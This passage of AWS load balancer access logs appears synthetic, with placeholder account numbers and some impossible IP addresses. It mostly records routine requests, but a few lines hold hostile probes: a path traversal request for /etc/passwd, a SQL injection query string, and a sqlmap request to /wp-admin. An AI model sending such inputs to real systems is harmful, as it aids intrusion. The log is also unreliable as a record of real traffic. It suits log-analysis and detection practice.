Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcbd-0051feab0a4446bfb9cb9f8e" "staging-alb.example.com" "-" 1 2024-11-01T02:38:37.560555Z "forward" "-" "-" "61.240.168.152:443" "301" "-" "-" +http 2024-11-01T02:38:39.135226Z staging-alb 51.191.117.41:48579 109.113.149.71:443 0.146478 0.502289 0.042356 404 404 586 3185 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcbf-d9f68701c6c14a7e9247c435" "staging-alb.example.com" "-" 4 2024-11-01T02:38:39.135226Z "forward" "-" "-" "109.113.149.71:443" "404" "-" "-" +https 2024-11-01T02:38:40.540055Z prod-web-alb 174.180.151.244:49442 10.0.181.228:443 0.028055 0.216365 0.001950 404 404 527 11687 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcc0-5667aaf4a22046eab5ef0b74" "prod-web-alb.example.com" "-" 0 2024-11-01T02:38:40.540055Z "forward" "-" "-" "10.0.181.228:443" "404" "-" "-" +https 2024-11-01T02:38:42.536807Z prod-web-alb 26.98.14.163:57294 10.0.80.55:443 0.062680 0.370669 0.014135 200 200 447 11897 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcc2-b23bf89e9eef4896a0108f54" "prod-web-alb.example.com" "-" 1 2024-11-01T02:38:42.536807Z "forward" "-" "-" "10.0.80.55:443" "200" "-" "-" +https 2024-11-01T02:38:43.254430Z prod-web-alb 128.215.189.254:38417 10.0.195.212:443 0.053310 0.429385 0.071090 200 200 686 7207 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcc3-6b2d71e8f37846259168c4ad" "prod-web-alb.example.com" "-" 2 2024-11-01T02:38:43.254430Z "forward" "-" "-" "10.0.195.212:443" "200" "-" "-" +https 2024-11-01T02:38:45.227345Z prod-api-alb 40.155.34.97:45094 10.0.242.153:443 0.038617 0.301299 0.067337 200 200 594 8220 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcc5-2caeb4b3eb66440c8116d8a1" "prod-api-alb.example.com" "-" 4 2024-11-01T02:38:45.227345Z "forward" "-" "-" "10.0.242.153:443" "200" "-" "-" +http 2024-11-01T02:38:46.453378Z staging-alb 254.70.178.81:11119 144.2.252.173:8080 0.133530 0.145758 0.099617 200 200 168 4124 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcc6-553155c570c044d781d30d36" "staging-alb.example.com" "-" 5 2024-11-01T02:38:46.453378Z "forward" "-" "-" "144.2.252.173:8080" "200" "-" "-" +https 2024-11-01T02:38:47.372401Z prod-web-alb 243.174.158.66:56842 10.0.114.212:443 0.043924 0.371499 0.042154 200 200 917 3283 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcc7-9b55005f533848b1b9b52da8" "-" "-" 6 2024-11-01T02:38:47.372401Z "forward" "-" "-" "10.0.114.212:443" "200" "-" "-" +https 2024-11-01T02:38:49.058725Z prod-web-alb 157.140.215.187:23936 10.0.77.73:443 0.082847 0.012428 0.008377 302 302 20 7892 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcc9-a35f01612b7a419a921ce08c" "prod-web-alb.example.com" "-" 9 2024-11-01T02:38:49.058725Z "forward" "-" "-" "10.0.77.73:443" "302" "-" "-" +http 2024-11-01T02:38:50.689083Z staging-alb 89.200.47.56:10137 47.60.195.235:80 0.042235 0.324586 0.114791 200 200 828 11746 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcca-adb8aba7abc642b2ab53daeb" "staging-alb.example.com" "-" 0 2024-11-01T02:38:50.689083Z "forward" "-" "-" "47.60.195.235:80" "200" "-" "-" +http 2024-11-01T02:38:50.976681Z staging-alb 201.20.240.110:40460 234.213.52.172:443 0.051613 0.599876 0.136619 200 200 336 12731 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcca-7662a06b09684b5c81ad81df" "staging-alb.example.com" "-" 6 2024-11-01T02:38:50.976681Z "forward" "-" "-" "234.213.52.172:443" "200" "-" "-" +http 2024-11-01T02:38:52.334792Z staging-alb 127.141.16.177:24440 207.17.10.194:8080 0.089114 0.282239 0.040970 200 200 506 2801 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dccc-ae8e7d20895d45d0a26bd07d" "staging-alb.example.com" "-" 5 2024-11-01T02:38:52.334792Z "forward" "-" "-" "207.17.10.194:8080" "200" "-" "-" +https 2024-11-01T02:38:53.402508Z prod-web-alb 125.210.229.215:59562 10.0.129.21:443 0.025894 0.161206 0.063198 302 302 760 6930 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dccd-38672e6cbc3741d48e48823b" "prod-web-alb.example.com" "-" 8 2024-11-01T02:38:53.402508Z "forward" "-" "-" "10.0.129.21:443" "302" "-" "-" +https 2024-11-01T02:38:53.779882Z prod-web-alb 255.94.47.240:13008 10.0.224.6:443 0.087306 0.311618 0.031593 200 200 91 9131 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dccd-1eec75f4bfeb4b94b2fd7326" "prod-web-alb.example.com" "-" 2 2024-11-01T02:38:53.779882Z "forward" "-" "-" "10.0.224.6:443" "200" "-" "-" +https 2024-11-01T02:38:55.698191Z prod-web-alb 45.155.205.194:11519 10.0.78.150:443 0.012336 0.173164 0.088202 404 404 881 13935 "GET /../../../etc/passwd HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dccf-20a318638d804cdfa824db61" "-" "-" 6 2024-11-01T02:38:55.698191Z "forward" "-" "-" "10.0.78.150:443" "404" "-" "-" +https 2024-11-01T02:38:55.873310Z prod-api-alb 210.249.162.4:14769 10.0.114.120:443 0.023169 0.245312 0.076486 404 404 362 4469 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dccf-6bc74a0f754e434da4f7cd2f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:38:55.873310Z "forward" "-" "-" "10.0.114.120:443" "404" "-" "-" +https 2024-11-01T02:38:57.160153Z prod-api-alb 101.136.24.165:38473 10.0.210.59:443 0.081167 0.104864 0.021729 200 200 36 9883 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcd1-1119c957ef08418c89d56628" "prod-api-alb.example.com" "-" 8 2024-11-01T02:38:57.160153Z "forward" "-" "-" "10.0.210.59:443" "200" "-" "-" +https 2024-11-01T02:38:58.873959Z prod-web-alb 80.13.84.203:25784 10.0.179.128:443 0.005058 0.388008 0.079679 404 404 891 5874 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcd2-2bb91d53077244eb8424960a" "prod-web-alb.example.com" "-" 9 2024-11-01T02:38:58.873959Z "forward" "-" "-" "10.0.179.128:443" "404" "-" "-" +https 2024-11-01T02:39:00.784634Z prod-api-alb 185.181.184.201:37317 10.0.146.98:443 0.021494 0.339059 0.081899 403 403 302 3358 "POST /users?id=1 OR 1=1 HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcd4-8ba32f8d03c44984be92f5ca" "-" "-" 2 2024-11-01T02:39:00.784634Z "forward" "-" "-" "10.0.146.98:443" "403" "-" "-" +https 2024-11-01T02:39:02.612212Z prod-web-alb 22.155.147.80:56601 10.0.245.105:443 0.083853 0.314697 0.014455 404 404 411 8969 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcd6-95a915fc705d4fb1afe05a87" "prod-web-alb.example.com" "-" 8 2024-11-01T02:39:02.612212Z "forward" "-" "-" "10.0.245.105:443" "404" "-" "-" +https 2024-11-01T02:39:03.236427Z prod-web-alb 59.231.109.1:17021 10.0.3.179:443 0.077466 0.193970 0.091528 200 200 537 11309 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcd7-80dcdf8af714409580129d57" "prod-web-alb.example.com" "-" 4 2024-11-01T02:39:03.236427Z "forward" "-" "-" "10.0.3.179:443" "200" "-" "-" +https 2024-11-01T02:39:05.105029Z prod-web-alb 182.140.175.238:36074 10.0.190.224:443 0.044183 0.339671 0.075650 302 302 939 7491 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcd9-bfdbc91ffca648e28578beb4" "prod-web-alb.example.com" "-" 1 2024-11-01T02:39:05.105029Z "forward" "-" "-" "10.0.190.224:443" "302" "-" "-" +http 2024-11-01T02:39:06.974676Z staging-alb 163.152.104.233:12146 210.158.42.184:443 0.045497 0.279944 0.143721 200 200 665 13889 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcda-b3f7bc3a142f44559e135fd6" "staging-alb.example.com" "-" 2 2024-11-01T02:39:06.974676Z "forward" "-" "-" "210.158.42.184:443" "200" "-" "-" +https 2024-11-01T02:39:07.630972Z staging-alb 161.136.109.74:20610 130.125.167.58:8080 0.088665 0.558683 0.071462 301 301 253 5886 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcdb-628169c312ad4a9a96c478ac" "staging-alb.example.com" "-" 7 2024-11-01T02:39:07.630972Z "forward" "-" "-" "130.125.167.58:8080" "301" "-" "-" +https 2024-11-01T02:39:09.391588Z staging-alb 161.41.231.152:45455 228.210.10.113:443 0.143948 0.328663 0.019323 200 200 96 4077 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcdd-fc837150e14d455ea3665ef9" "staging-alb.example.com" "-" 0 2024-11-01T02:39:09.391588Z "forward" "-" "-" "228.210.10.113:443" "200" "-" "-" +https 2024-11-01T02:39:10.139572Z prod-web-alb 52.50.139.148:11314 10.0.157.62:443 0.098334 0.229038 0.028259 200 200 133 2233 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcde-b11b3f05ba5a4d008e352a89" "prod-web-alb.example.com" "-" 5 2024-11-01T02:39:10.139572Z "forward" "-" "-" "10.0.157.62:443" "200" "-" "-" +http 2024-11-01T02:39:10.387474Z staging-alb 36.5.123.41:52991 254.42.167.44:8080 0.063453 0.562076 0.145109 200 200 922 11414 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcde-803983fdf3c741d3ba71a1f0" "staging-alb.example.com" "-" 0 2024-11-01T02:39:10.387474Z "forward" "-" "-" "254.42.167.44:8080" "200" "-" "-" +https 2024-11-01T02:39:10.735762Z prod-api-alb 209.67.122.124:38826 10.0.72.160:443 0.063024 0.218920 0.025510 200 200 232 7570 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dcde-4d053f355cfb484990550484" "prod-api-alb.example.com" "-" 3 2024-11-01T02:39:10.735762Z "forward" "-" "-" "10.0.72.160:443" "200" "-" "-" +http 2024-11-01T02:39:12.617799Z staging-alb 241.184.249.111:61700 138.30.43.86:80 0.128964 0.664762 0.143014 200 200 96 9326 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dce0-983f726c04d94a089026c316" "staging-alb.example.com" "-" 2 2024-11-01T02:39:12.617799Z "forward" "-" "-" "138.30.43.86:80" "200" "-" "-" +https 2024-11-01T02:39:13.526807Z prod-web-alb 189.56.116.92:61263 10.0.196.57:443 0.084988 0.328705 0.053289 200 200 126 13105 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dce1-dc226c6f41f14eb790506081" "prod-web-alb.example.com" "-" 3 2024-11-01T02:39:13.526807Z "forward" "-" "-" "10.0.196.57:443" "200" "-" "-" +https 2024-11-01T02:39:14.984279Z prod-api-alb 38.113.135.135:17370 10.0.191.219:443 0.024016 0.213100 0.093132 301 301 773 8313 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dce2-dd493dd1644f4926b2b952d2" "prod-api-alb.example.com" "-" 2 2024-11-01T02:39:14.984279Z "forward" "-" "-" "10.0.191.219:443" "301" "-" "-" +https 2024-11-01T02:39:15.195398Z prod-api-alb 185.29.74.160:60774 10.0.25.227:443 0.092488 0.325106 0.042353 302 302 43 11616 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dce3-1191b4703e9b40238f4d0dc3" "prod-api-alb.example.com" "-" 3 2024-11-01T02:39:15.195398Z "forward" "-" "-" "10.0.25.227:443" "302" "-" "-" +http 2024-11-01T02:39:16.803314Z staging-alb 92.51.4.143:55718 170.182.217.211:8080 0.069458 0.214591 0.112553 302 302 59 12712 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dce4-f8e6b63919ef4858b2874226" "staging-alb.example.com" "-" 10 2024-11-01T02:39:16.803314Z "forward" "-" "-" "170.182.217.211:8080" "302" "-" "-" +https 2024-11-01T02:39:17.129124Z prod-api-alb 31.115.122.94:22810 10.0.55.12:443 0.011517 0.049051 0.080547 200 200 941 3502 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dce5-794e423159334c20ac129452" "prod-api-alb.example.com" "-" 4 2024-11-01T02:39:17.129124Z "forward" "-" "-" "10.0.55.12:443" "200" "-" "-" +http 2024-11-01T02:39:18.529628Z staging-alb 246.57.213.224:64196 114.108.148.5:80 0.031915 0.079743 0.044399 200 200 394 2949 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dce6-8c10a1da3c544dc29559f6e0" "staging-alb.example.com" "-" 0 2024-11-01T02:39:18.529628Z "forward" "-" "-" "114.108.148.5:80" "200" "-" "-" +https 2024-11-01T02:39:20.090157Z prod-api-alb 234.80.90.135:50259 10.0.112.206:443 0.053172 0.139144 0.018320 404 404 741 12443 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dce8-16be6924f23a4d3bb6797510" "prod-api-alb.example.com" "-" 4 2024-11-01T02:39:20.090157Z "forward" "-" "-" "10.0.112.206:443" "404" "-" "-" +https 2024-11-01T02:39:21.000454Z prod-web-alb 192.91.252.166:57067 10.0.98.155:443 0.034255 0.459373 0.094215 301 301 204 9196 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dce9-0738ea29fc93423cba72135c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:39:21.000454Z "forward" "-" "-" "10.0.98.155:443" "301" "-" "-" +https 2024-11-01T02:39:21.556779Z prod-api-alb 99.168.201.28:12007 10.0.220.107:443 0.045157 0.140426 0.079005 301 301 196 3503 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dce9-b79df8d631aa4d7ea18c6a06" "prod-api-alb.example.com" "-" 7 2024-11-01T02:39:21.556779Z "forward" "-" "-" "10.0.220.107:443" "301" "-" "-" +http 2024-11-01T02:39:22.918387Z staging-alb 206.253.199.236:19929 31.100.230.64:443 0.105598 0.406370 0.042764 404 404 203 8723 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dcea-76420cdf365a4f47b5a0601d" "staging-alb.example.com" "-" 8 2024-11-01T02:39:22.918387Z "forward" "-" "-" "31.100.230.64:443" "404" "-" "-" +https 2024-11-01T02:39:24.063976Z prod-web-alb 45.155.205.9:14825 10.0.134.207:443 0.073891 0.004998 0.063261 401 401 40 2796 "POST /wp-admin HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcec-c3c104c3cc2646f09d2e2ac0" "-" "-" 4 2024-11-01T02:39:24.063976Z "forward" "-" "-" "10.0.134.207:443" "401" "-" "-" +https 2024-11-01T02:39:25.426703Z staging-alb 201.27.9.218:35070 125.159.106.172:80 0.087866 0.489771 0.008806 200 200 426 6904 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dced-45f2012b5876449cb86fdb33" "staging-alb.example.com" "-" 1 2024-11-01T02:39:25.426703Z "forward" "-" "-" "125.159.106.172:80" "200" "-" "-" +https 2024-11-01T02:39:26.205378Z prod-web-alb 73.6.147.25:35987 10.0.135.123:443 0.079942 0.448799 0.080808 200 200 320 13202 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dcee-7fabe335724c435c9daae7ae" "prod-web-alb.example.com" "-" 2 2024-11-01T02:39:26.205378Z "forward" "-" "-" "10.0.135.123:443" "200" "-" "-" +https 2024-11-01T02:39:27.387613Z prod-web-alb 173.32.46.235:32350 10.0.110.152:443 0.046248 0.382429 0.045240 200 200 6 8970 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcef-992c2d87e019447083d23f84" "prod-web-alb.example.com" "-" 10 2024-11-01T02:39:27.387613Z "forward" "-" "-" "10.0.110.152:443" "200" "-" "-" +https 2024-11-01T02:39:29.183672Z prod-api-alb 5.165.12.219:37892 10.0.199.72:443 0.071620 0.357545 0.044889 200 200 720 10979 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcf1-9ea18222ece9472d9ac74b59" "prod-api-alb.example.com" "-" 6 2024-11-01T02:39:29.183672Z "forward" "-" "-" "10.0.199.72:443" "200" "-" "-" +http 2024-11-01T02:39:29.755981Z staging-alb 103.3.33.225:50600 132.162.118.160:80 0.132275 0.681892 0.104182 200 200 319 13083 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dcf1-afe8d887ce4041b5bf9a7185" "staging-alb.example.com" "-" 6 2024-11-01T02:39:29.755981Z "forward" "-" "-" "132.162.118.160:80" "200" "-" "-" +https 2024-11-01T02:39:31.316065Z prod-api-alb 96.77.95.184:53091 10.0.130.92:443 0.073894 0.382282 0.097778 302 302 507 9232 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dcf3-897e962acbe04c8e9195ecb0" "prod-api-alb.example.com" "-" 9 2024-11-01T02:39:31.316065Z "forward" "-" "-" "10.0.130.92:443" "302" "-" "-" +https 2024-11-01T02:39:31.466712Z prod-web-alb 12.126.17.24:41168 10.0.66.207:443 0.075652 0.391389 0.075977 301 301 96 8057 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcf3-ac8d37cdb73d4adcac6b79e0" "prod-web-alb.example.com" "-" 9 2024-11-01T02:39:31.466712Z "forward" "-" "-" "10.0.66.207:443" "301" "-" "-" +https 2024-11-01T02:39:33.264225Z prod-web-alb 25.64.127.34:21527 10.0.167.82:443 0.027389 0.022023 0.048856 301 301 757 2869 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dcf5-55cc41dfcb1747c8a26aa28a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:39:33.264225Z "forward" 